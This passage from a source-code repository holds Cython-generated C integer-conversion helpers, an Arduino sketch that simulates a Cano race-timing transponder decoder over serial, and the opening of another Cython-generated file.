sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/simul_cano/simul_cano.ino /* * Cano Decoder simulator, this will simulate track with rider. */ #include <MsTimer2.h> #include <string.h> #define sline(a) Serial.println( a) #define turn (1000*30) unsigned char digits[] = "0123456789ABCDEF"; volatile unsigned char message[] = "CDFD4C0000F1D5\0\0ERROR"; // CDFD4C 0000F1D5 unsigned long transponder[] = { 2351957, 2688158, 3073479, 4572215, 4748687, 4961721, 5564690, 6000513, 6091953, 6099608, 7531106, 1010101, 2020202, 3030303, 4040404, 5050505, 6060606, 7070707, 8080808, 9090909, }; void createMsg( unsigned long tp, unsigned long time ) { int i; for( i = 0 ; i<6 ; i++ ) { int d; d= digits[(((0x00f00000)&tp)>>20) & 0x0f]; message[i]= d; tp = tp << 4; } time = time*4; for( i = 0; i<8 ; i++ ) { int d; d= digits[(((0xf0000000)&time)>>28 ) & 0x0f]; message[i+6]= d; time = time << 4; } } void sendLine() { MsTimer2::stop(); MsTimer2::set(turn+millis()&0x00000ff0, sendLine); createMsg( transponder[ millis()%((sizeof(transponder)/sizeof(unsigned long))) ], millis() ); sline( (char *) &message[0] ); MsTimer2::start(); } void setup() { Serial.begin( 115200 ); Serial.println( "Cano Simulator (c) <NAME> $VER: 0.1 "); MsTimer2::set(turn, sendLine); MsTimer2::start(); } void loop() { char Buffer[256]; if( Serial.available() ) { int i = Serial.readBytesUntil('\r',&Buffer[0],sizeof(Buffer) ); if( !strcasecmp("version",&Buffer[0] ) ) { Serial.println( "Cano Simulator (c) <NAME> $VER: 0.1 "); } else if( !strcasecmp("cano mode",&Buffer[0] ) ) { Serial.println( "CANO MODE"); } } } <file_sep>/cython/decoder/tagV3.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 